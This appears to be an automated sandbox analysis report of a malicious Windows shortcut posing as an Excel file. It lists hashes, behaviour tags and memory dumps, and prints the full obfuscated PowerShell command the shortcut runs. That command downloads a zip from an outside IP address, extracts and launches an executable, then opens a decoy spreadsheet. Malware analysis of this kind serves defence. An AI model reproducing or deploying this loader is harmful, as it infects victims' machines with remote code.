50b628bc603d846c04ab5dc56a5bc40b32b219c29211661f663ec7bb160a0554

Analysis

max time kernel
121s
max time network
122s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
07-09-2024 01:16

Target

rv_luti_2024_roku.xlsx.lnk
Size

32KB
MD5

bbcc000caf3fff5b3025da99cff2aa45
SHA1

89a89db57a5b286b16d8d0a82903a4f256584bb5
SHA256

3e5adec34d0e3567b3eed2c917eaac783ff3eb19c2a1154339ebd1b2497f1e24
SHA512

1eecf2183c2909e642904dc023256b8f1437a25d59c541afa53b6eff4c9f727ef1fcdc3a7507f94e5d75ba490263c5a0fa2be95a1cfc4734a07a874d4bba56e1
SSDEEP

48:88muavUQSSE1I3fxvUZ7sEmOxCCevUZ731EdCZFXuGdZTa7x:88y8EE1YfxHERxCVybuKQ

Score

3^/10

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2316	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2316	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2716 wrote to memory of 2316	2716	cmd.exe	32
PID 2716 wrote to memory of 2316	2716	cmd.exe	32
PID 2716 wrote to memory of 2316	2716	cmd.exe	32

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\rv_luti_2024_roku.xlsx.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:2716
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -win 1 echo mDDkSKPeKSnmyhDKrRrfgmsmeF; echo anUGxZjKUCNgLKMBbyEjctOscTtBFAQROSENvflIdGfTRJUxVqfCL; echo ykxRyjMJeSrZAgkrYWGta; if (-not(Test-Path 'glorytoukraine.zip' -PathType Leaf)){&(G''et-C''om''ma''nd in???e-webr**) -uri h''t''t''p'':''/''/''5''.''18''1''.''1''56''.''117''/glorytoukraine.zip -OutFile glorytoukraine.zip}; echo EMNQacYrNXHyebrpmkIKUbKIwHYVxkqDyqbnvplWDcpbb; Expand-Archive -Path glorytoukraine.zip -DestinationPath SecurityCheck; s''tar''t SecurityCheck/scr_previw.exe; echo XbwVjPDNPkbnuGZQfsRvcJknOPJXCFbqSFCKR; &(Ge''t-Com''ma''nd in???e-webre***) -uri h''t''t''p'':''/''/''5''.''18''1''.''1''56''.''117''/racs/rv_luti_2024_roku.xlsx -OutFile rv_luti_2024_roku.xlsx; echo zqCIRBDMssIzkDEUagHLMaYQOxVloBQv; s''t''a''rt rv_luti_2024_roku.xlsx
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2316

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

memory/2316-38-0x000007FEF61AE000-0x000007FEF61AF000-memory.dmp

Filesize
4KB

Download
memory/2316-39-0x000000001B6C0000-0x000000001B9A2000-memory.dmp

Filesize
2.9MB

Download
memory/2316-40-0x0000000001E80000-0x0000000001E88000-memory.dmp

Filesize
32KB

Download
memory/2316-44-0x000007FEF5EF0000-0x000007FEF688D000-memory.dmp

Filesize
9.6MB

Download
memory/2316-45-0x000007FEF5EF0000-0x000007FEF688D000-memory.dmp

Filesize
9.6MB

Download
memory/2316-43-0x000007FEF5EF0000-0x000007FEF688D000-memory.dmp

Filesize
9.6MB

Download
memory/2316-42-0x000007FEF5EF0000-0x000007FEF688D000-memory.dmp

Filesize
9.6MB

Download
memory/2316-41-0x000007FEF5EF0000-0x000007FEF688D000-memory.dmp

Filesize
9.6MB

Download
memory/2316-46-0x000007FEF5EF0000-0x000007FEF688D000-memory.dmp

Filesize
9.6MB

Download